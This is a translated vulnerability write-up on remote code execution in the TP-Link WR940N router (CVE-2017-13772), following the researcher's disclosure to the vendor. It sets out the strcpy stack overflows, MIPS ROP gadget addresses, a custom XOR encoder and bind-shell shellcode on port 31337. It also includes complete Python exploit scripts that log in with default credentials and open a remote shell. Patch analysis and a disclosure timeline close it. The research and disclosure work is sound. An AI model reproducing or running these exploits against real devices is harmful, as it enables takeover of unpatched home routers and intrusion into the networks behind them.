[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
一、介紹
在這篇文章中,我將討論我最近的發現,同時對家庭路由器進行脆弱性研究:TP-Link的WR940N家庭WiFi路由器。
這篇文章將概述識別易受攻擊的程式碼路徑的步驟,以及如何利用這些路徑來獲取遠端執行程式碼。我將首先描述我如何發現第一個漏洞,為開發完整的漏洞利用所採取的方法,然後通過顯示此漏洞提供了一個“模式”,從而將該裝置暴露給數百個漏洞。
二、解壓裝置
我進行這項研究的裝置是TP-Link的WR940N家庭WiFi路由器(硬體版本4)。一般來說,在物聯網(IoT)裝置開始研究週期時,我所做的第一件事是抓住韌體的副本並提取檔案系統。
韌體連結:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
我們可以在這裡看到二進位制檔案已經識別和提取檔案系統。下一步是收集有關裝置上執行的資訊的幾點資訊。首先,我抓住影子檔案的內容(很快你就會知道我這麼做的原因)。
我研究過的大多數嵌入式系統都使用busybox,所以重要的是要看到我們可以執行什麼,我們應該找到一些形式的shell注入。有兩種方法可以做到這一點:一個將列出所有符號連結到busybox。但是,我喜歡在chrooted環境下執行qemu下的busybox二進位制檔案,因為它會告訴我們它啟用了哪些實用程式:
雖然沒有telnetd,netcat等。但是,我們有tftp,我們可以使用,如果我們能夠獲得shell注入。最後,快速檢視rc.d / rcS顯示,路由器啟動時最後一件事情是執行httpd二進位制檔案,我以為我會從這裡開始,因為HTTP守護程式通常會顯示一個大的攻擊面。
三、初步測試
四、發現漏洞
如上所述,如果我將使用者輸入提供給比JavaScript程式碼允許的介面更大的介面,則HTTP服務將會崩潰。
在IDA中開啟二進位制檔案,清楚地顯示了正在發生的事情,從sub_453C50開始,典型的檢查請求的功能是有效和經過身份驗證的:
接下來,呼叫httpGetEnv,請注意,像“ping_addr”,“isNew”等值是通過GET引數傳遞的值。然後再來(仍然在同一個函式),ipAddrDispose被呼叫:
此功能是(第一)漏洞存在的位置。在函式開始時,將宣告一個堆疊變數var_AC。然後將它作為目標引數傳遞給對strcpy的呼叫,這裡的問題是源引數($ s1)是函式的第一個引數,並且沒有對其長度進行驗證,這是一個經典的緩衝區溢位。
五、poc驗證
我寫了一個快速的python指令碼來觸發漏洞 - 注意登入功能。當我們登入到此裝置時,會生成隨機URL。
import urllib2 import urllib import base64 import hashlibdef login(ip,user,pwd): ####生成b64enc形式的auth cookie('admin:'+ md5('admin')) hash = hashlib.md5() hash .update(pwd) auth_string =“%s:%s”%(user,hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print“[debug]編碼授權:%s”%encoded_string ####傳送請求 url =“http://”+ ip +“/userRpm/LoginRpm.htm?Save = Save” req = urllib2.Request(url)req.add_header('Cookie','Authorization = Basic%s'%encoded_string ) resp = urllib2.urlopen(req)####伺服器為進一步的請求生成一個隨機路徑,在這裡獲取 data = resp.read() next_url =“http://%s /%s / userRpm /”%(ip,data.split(“=”)[2] .split(“/”)[3]) print“[debug]對於下一階段,url現在是%s“%next_urlreturn(next_url,encoded_string) def exploit(url,auth): #控制s0,s1 + ra + shellcode evil =“\ x41”* 800 params = {'ping_addr':evil,'doType':'ping','isNew' new','sendNum':'20','pSize':'64','overTime':'800','trHops':'20'} new_url = url +“PingIframeRpm.htm?”+ urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header('Cookie','Authorization = Basic%s'%auth) req.add_header('Referer',url +“DiagnosticRpm.htm”)resp = urllib2.urlopen(req)if __name__ =='__main__': data = login(“192.168.0.1”,“admin”,“admin”) exploit(data [0],data [1])
六、Exploit開發
參考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
正如我發現的許多線上資源所述,重新整理快取的最佳方式是將ROP調入睡眠狀態。觸發該漏洞後,我將最終進行兩次呼叫,一次直接進入休眠狀態,第二次,我的解碼器完成了以不良位元組解碼指令(稍後再說)。
要確定要使用哪些小工具,我們必須確定可執行哪些庫及其所在的地址(請注意,預設情況下不啟用ASLR)。
httpd maps: 00400000-00587000 r-xp 00000000 1f:02 64 / usr / bin / httpd 00597000-005b7000 rw-p 00187000 1f:02 64 / usr / bin / httpd 005b7000-00698000 rwxp 00000000 00:00 0 [heap] 2aaa8000 -2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 / SYSV0000002f(已刪除) 2aabc000 -2aabd000 r-p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabe000-2aacb000 r- xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 2aacb000-2aada000 -p 00000000 00:00 0 2aada000-2aadb000 r-p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 2aae0000-2aae2000 rw-p 00000000 00 :00 0 2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so <... .. snip ... ..> 7edfc000-7ee00000 rwxp 00000000 00:00 0 7effc000-7f000000 rwxp 00000000 00:00 0 7f1fc000-7f200000 rwxp 00000000 00:00 0 7f3fc000-7f400000 rwxp 00000000 00:00 0 7f5fc000-7f600000 rwxp 00000000 00:00 0 7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看起來像一個好的目標,在IDA中開啟它,並使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py指令碼,我們可以開始尋找小工具。
首先,我們需要一個小工具:
li $ a0,1 mov $ t9,$ s0或$ s1 #we控制$ s0和$ s1 jr $ t9
這是我用來喚醒sleep的gadget 它的地址將覆蓋ipAddrDispose的返回地址。
我們需要的下一個 gadget(將放入$ s1)需要呼叫sleep,但在它需要將我們要睡眠後呼叫的小工具的地址放在ra中。我們可以使用mipsrop.tail()來找到這樣的小工具
這個 gadget 執行良好,這裡唯一要注意的是它會在第一次執行時自動呼叫它。
第一次被呼叫時,$ s1將包含0x2AE3840,將用作$ t9中的地址跳轉。要讓這個小工具正常工作,我們需要準備堆疊,在第一次呼叫時,我們需要將sleep地址放在$ s1中,因此需要在0x20($ sp)。在第二次呼叫gadget時,$ t9將具有sleep地址,我們需要將要呼叫的下一個gadget的地址設定為0x24($ sp),然後我們可能需要填寫$ s0和$ s1與我們的最終gadget(將跳轉到我們的shellcode)
這給了我們以下payload:
rop =“A”* 164 + call_sleep + prepare_sleep +“B”* 0x20 + sleep_addr $ s0 $ s1 $ ra rop + =“C”* 0x20 +“D”* 4 +“E”* 4 + next_gadg
nop =“\ x22 \ x51 \ x44 \ x44” gadg_1 =“\ x2A \ xB3 \ x7C \ x60” gadg_2 =“\ x2A \ xB1 \ x78 \ x40” sleep_addr =“\ x2a \ xb3 \ x50 \ x90 ” stack_gadg = “\ x2A \ xAF \ x84 \ xC0” call_code =“\ x2A \ xB2 \ xDC \ xF0”def first_exploit(url,auth): #trash $ s1 $ ra rop =“A”* 164 + gadg_2 + gadg_1 +“B “* 0x20 + sleep_addr rop + =”C“* 0x20 + call_code +”D“* 4 + stack_gadg + nop * 0x20 + shellcode
當這個漏洞執行時,我們最後會停在sled(滑板指令上),唯一要做的就是:寫一些shellcode,識別壞字元,並將<decode> + <sleep> + <編碼shellcode>附加到漏洞。
我發現唯一不好的位元組是0x20,然而0x00也是必須要處理的。
我努力使任何典型的有效載荷正常工作,msf_venom將無法使用mips / long_xor編碼。我也無法獲得 bowcaster 的有效載荷。我以前沒有寫過mips shellcode,所以我決定寫一個非常簡單的編碼器,它只能通過引用它們在堆疊上的偏移來對具有不良位元組的指令進行操作。
.set noreorder #nop addi $s5, $s6, 0x4444#xor key li $s1, 2576980377#get address of stack la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode) addi $s2, $s2, -864#decode first bad bytes lw $t2, -263($s2) xor $v1, $s1, $t2 sw $v1, -263($s2)#decode 2nd bad bytes lw $t2, -191($s2) xor $v1, $s1, $t2 sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop
這顯然不是最有效的做事方式,因為它需要在堆疊上找到每個壞位元組的偏移量
(幸運的是,mips是4位元組對齊的指令,因此每個偏移是4的倍數)。它還需要計算每個壞位元組指令的編碼值。可以說這就完美了
寫一個bind shell的shellcode非常簡單。
.set noreorder ###### sys_socket ###### addiu $ sp,$ sp,-32 li $ t6,-3 或$ a0,$ t6,$ zero 或$ a1,$ t6,$ zero slti $ a2,$ 0,-1 li $ v0,4183 syscall 0x40404 ##### sys_bind #### add $ t9,$ t9,0x4444 #nop andi $ s0,$ v0,0xffff li $ t6,-17 nor $ t6,$ t6,$ zero li $ t5,0x7a69 #port 31337 li $ t7,-513 或$ t7,$ t7,$ zero sllv $ t7,$ t7,$ t6 或$ t5,$ t5,$ t7 sw $ t5,-32($ sp)sw $零,-28($ sp) sw $零,-24($ sp) sw $ 0,-20($ sp) 或$ a0,$ s0,$ s0 li $ t6,-17或$ a2,$ t6,$ zero addi $ a1,$ sp,-32 li $ v0,4169 syscall 0x40404 ##### listen ##### li $ t7,0x7350 or $ a0,$ s0,$ s0 li $ a1,257 li $ v0,4174 syscall 0x40404 ##### accept ##### li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$ zero,-1 slti $ a2,$ zero,-1 li $ v0,4168 syscall 0x40404 ##### dup fd's #### li $ t7,0x7350 andi $ s0,$ v0,0xffff 或$ a0,$ s0,$ s0 li $ t7,-3 或$ a1,$ t7,$ zero li $ v0,4063 系統呼叫0x40404 li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$ zero,0x0101 li $ v0,4063 系統呼叫0x40404 li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$零,-1 li $ v0,4063 系統呼叫0x40404 ###### execve ###### lui $ t7,0x2f2f ori $ t7,$ t7,0x6269 sw $ t7,-20($ sp) lui $ t6 ,0x6e2f ori $ t6,$ t6,0x7368 sw $ t6,-16($ sp) sw $ zero,-12($ sp) addiu $ a0,$ sp,-20 sw $ a0,-8($ sp) sw $ 0,-4($ sp) addiu $ a1,$ sp,-8 li $ v0,4011 syscall 0x40404 #### sleep ##### li $ v0,4166 li $ t7,0x0368 addi $ t7,$ t7,-0x0304 sw $ t7,-0x0402($ sp) sw $ t7,-0x0406($ sp) la $ a0,-0x0406($ sp) syscall 0x40404 addi $ t4,$ t4,4444
請注意,如果我們在呼叫execve後沒有呼叫sleep,原始程式將會當機,從而導致所有其他httpd程式當機,從而阻止我們訪問bind shell。
此漏洞的最終漏洞利用如下:
import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string #### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[debug] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x9f” “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” )###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…” print “[+] Please wait a few seconds before connecting to port 31337…” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) first_exploit(data[0], data[1])
七、進一步分析
對於供應商的信用,他們在幾天內為第一個漏洞提供了補丁。但是,在我的回答中,我概述了幾乎所有這些對strcpy的呼叫都需要用更安全的字串複製功能替代。為了證明這一點,我決定開發第二個漏洞,通過dnsserver2引數觸發WanStaticIpV6CfgRpm.htm中的緩衝區溢位。
這個漏洞與以前一樣,在自定義編碼器中只有一個偏移量改變(因為堆疊指標指向不同的位置)。唯一的主要區別是我在Mips exploit開發研究中沒有遇到的問題,這是一個位元組對齊。在開發這個漏洞的時候,我不斷收到非法的指令錯誤,我注意到,我的nop sled看起來不像以前那樣:
注意所有指令是否相隔2個位元組。這樣做的原因實際上在於我的有效載荷:
這個緩衝區的結尾有一個我沒有指定的輸入,強制有效載荷結束對齊。事實證明,即使這是最後,我需要填補最終的有效載荷,使其恢復對齊,一旦完成,那麼它的應用應該是:
我們得到我們的繫結shell:
最終的程式碼包含兩個漏洞的工作漏洞如下:
(請注意,在第二個exp中,幾乎所有的GET引數都容易受到緩衝區溢位的影響)
import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( “___________________________________________________________________________\n” “WR940N Authenticated Remote Code Exploit\n” “This exploit will open a bind shell on the remote target\n” “The port is 31337, you can change that in the code if you wish\n” “This exploit requires authentication, if you know the creds, then\n” “use the -u -p options, otherwise default is admin:admin\n” “___________________________________________________________________________” )def login(ip, user, pwd): print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd) #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[+] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[+] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x4b” #0x27b2059f for first_exploit “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1” #sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c” ################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” ) ###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0” def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4 rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + “WanStaticIpV6CfgRpm.htm?” # trash s0 s1 s2 s3 s4 ret shellcode payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4 payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7 print len(payload) params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’, ‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’, ‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’, ‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’} new_url = url + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: print banner username = “admin” password = “admin” parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host”, help=”target ip address”) parser.add_option(“-u”, “–user”, dest=”username”, help=”username for authentication”, default=”admin”) parser.add_option(“-p”, “–password”, dest=”password”, help=”password for authentication”, default=”admin”) (options, args) = parser.parse_args() if options.host is None: parser.error(“[x] A host name is required at the minimum [x]”) if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string)
八、影響範圍
九、漏洞修補
為了補丁這些漏洞,供應商需要用更安全的操作(如strncpy)來代替大部分對strcpy的呼叫。為了他們的信譽,他們非常快地實現了這一點,並在一週內提供了一個補丁,報告其他脆弱的程式碼區域。我將快速分析所製作的補丁。
首先要做的最簡單的事情就是看看strcpy的交叉引用,從脆弱的二進位制檔案中我們有700多個呼叫,在修補版本中,我們可以看到不再是這樣:
對這些位置的進一步分析顯示,這些呼叫不對使用者輸入進行操作,例如:
現在,如果我們分析一個我們知道的區域是易受攻擊的,例如dnsserver2 GET引數:
為了快速參考
$ a0 = dest,$ a1 = src,$ a2 = size 所以接下來我們可以看到:
0x2C在loc_452E0C之前載入到$ a2中。然後使用httpGetEnv抓取“dnsserver2”引數。如果httpGetEnv返回0,那麼緩衝區var_24f被清零。否則,返回的指標被移動到$ a1。大小0x2C載入到$ a2中。目的地已經在$ a0。之後,根據httpGetEnv的結果,呼叫memset或strncpy(通過$ t9)。
我們可以看到,這不允許發生緩衝區溢位,因為只能將最大數量的位元組複製到緩衝區中。請注意,var_24F是一個大小為0x2C的基於堆疊的緩衝區。事實上,我們現在可以看到,提供給供應商的易受攻擊的模式已被一個安全模式所取代。因此,修補程式通過在使用者提供的輸入上刪除對strcpy的呼叫來正確保護緩衝區溢位。
使用的工具:
Binwalk
IDA
QEMU
mipsrop.py外掛
USB 2.0至TTL UART 6PIN CP2102模組序列轉換器
參考文件
https://wiki.openwrt.org/toh/tp-link/tl-wr940n
http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/
時間線
向供應商披露 - 11/8/2017
供應商的回應,初步諮詢要求 - 14/8/2017
初步諮詢 - 14/8/2017
測試版補丁傳送供應商測試 - 17/8/2017
補丁確認工作,然而其他脆弱的地方由我自己確定,第二個漏洞是為了證明這一點。傳送給供應商 - 17/8/2017
供應商的回應將研究其他脆弱地區 - 18/8/2017
供應商傳送測試的第二個補丁 - 25/8/17
補丁確認以減輕漏洞(刪除了500+以上的strcpy呼叫) - 29/8/2017
補丁釋出 - 28/9/2017(僅限HW V5 US)
翻譯來源:
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
相關文章
- TP-Link SR20遠端程式碼執行動態除錯2022-09-27除錯
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 轉載]遠端執行程式碼的利用2018-04-19行程
- 服務端模板注入:現代WEB遠端程式碼執行(補充翻譯和擴充套件)2020-08-19服務端Web套件
- ThinkPHP遠端程式碼執行漏洞2019-09-12PHP
- phpunit 遠端程式碼執行漏洞2020-10-16PHP
- ThinkPHP 5.0.23 遠端程式碼執行漏洞2024-04-19PHP
- OpenWRT 曝遠端程式碼執行漏洞2020-02-03
- WordPress 3.5.1遠端程式碼執行EXP2020-08-19
- Joomla遠端程式碼執行漏洞分析2020-08-19OOM
- ElasticSearch 遠端程式碼執行漏洞分析(CVE-2015-1427)&高階利用方法2020-08-19Elasticsearch
- WindowsJScript元件曝遠端程式碼執行漏洞2018-06-05WindowsJS元件
- 遠端程式碼執行CVE-2018-76002024-05-22
- .NET Remoting 遠端程式碼執行漏洞探究2020-08-19REM
- 什麼是遠端程式碼執行漏洞?2022-07-07
- Discuz! X系列遠端程式碼執行漏洞分析2020-08-19
- PHP CGI Windows下遠端程式碼執行漏洞2024-06-07PHPWindows
- log4j遠端程式碼執行漏洞2024-06-08
- 最新漏洞:Spring Framework遠端程式碼執行漏洞2022-03-31SpringFramework
- crash_for_windows_pkg遠端程式碼執行漏洞2022-03-24Windows
- Apache Struts 再曝高危遠端程式碼執行漏洞2018-08-27Apache
- 通報:Confluence遠端程式碼執行漏洞(CVE-2021-26084)被黑產大規模利用2021-09-06
- ssh執行遠端指令碼遇到的坑2018-09-21指令碼
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)2024-04-30SpringWeb
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)2024-09-12Apache
- Log4j遠端程式碼執行漏洞漫談2022-02-25
- CVE-2020-17530——Apache Struts遠端程式碼執行漏洞2020-12-08Apache
- Struts2 Tomcat class.classLoader.resources.dirContext.docBase賦值造成的DoS及遠端程式碼執行利用!2020-08-19TomcatContext賦值
- PHP-CGI遠端程式碼執行漏洞(CVE-2012-1823)2024-04-06PHP
- SMB遠端程式碼執行漏洞CVE-2020-0796安全通告2020-03-13
- 三星預設輸入法遠端程式碼執行2020-08-19
- Spring Cloud Gateway 遠端程式碼執行漏洞(CVE-2022-22947)2022-03-08SpringCloudGateway
- 【最新】Chrome遠端程式碼執行0day分析報告2021-04-13Chrome
- OGNL設計及使用不當造成的遠端程式碼執行漏洞2020-08-19
- 程式碼注入之遠端呼叫執行緒的一些問題2019-05-26執行緒
